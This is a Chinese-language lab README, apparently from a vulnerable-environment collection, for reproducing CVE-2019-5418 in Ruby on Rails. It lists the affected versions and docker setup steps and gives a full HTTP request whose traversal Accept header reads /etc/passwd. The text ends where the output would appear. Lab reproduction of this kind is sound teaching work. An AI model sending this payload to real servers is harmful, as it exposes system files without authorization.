Aaron
63285f61aa
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45 lines
1.3 KiB
Markdown
45 lines
1.3 KiB
Markdown
# Ruby on Rails 路径穿越与任意文件读取漏洞（CVE-2019-5418）
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Ruby on Rails 是一个用于快速构建Web应用的框架。
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在Ruby on Rails <5.2.2.1, <5.1.6.2, <5.0.7.2, <4.2.11.1 and v3时，当使用`render file`在控制器中渲染应用之外的视图时，会根据用户传入的Accept头来确定文件具体位置。我们通过传入`Accept: ../../../../../../../../etc/passwd{{`头来构成构造路径穿越漏洞，读取和包含任意文件。
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参考链接：
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- https://groups.google.com/forum/#!topic/rubyonrails-security/pFRKI96Sm8Q
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- https://github.com/mpgn/CVE-2019-5418
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- https://xz.aliyun.com/t/4448
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## 环境搭建
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执行如下命令编译及启动Ruby on Rails 5.2.2：
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```
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docker compose build
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docker compose up -d
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```
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环境启动后，访问`http://your-ip:3000`即可看到Ruby on Rails的欢迎页面。
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## 漏洞复现
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访问`http://your-ip:3000/robots`可见，正常的robots.txt文件被读取出来。
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利用漏洞，发送如下数据包，读取`/etc/passwd`：
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```
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GET /robots HTTP/1.1
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Host: your-ip:3000
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Accept-Encoding: gzip, deflate
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Accept: ../../../../../../../../etc/passwd{{
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Accept-Language: en
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User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
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Connection: close
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```
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成功读取：
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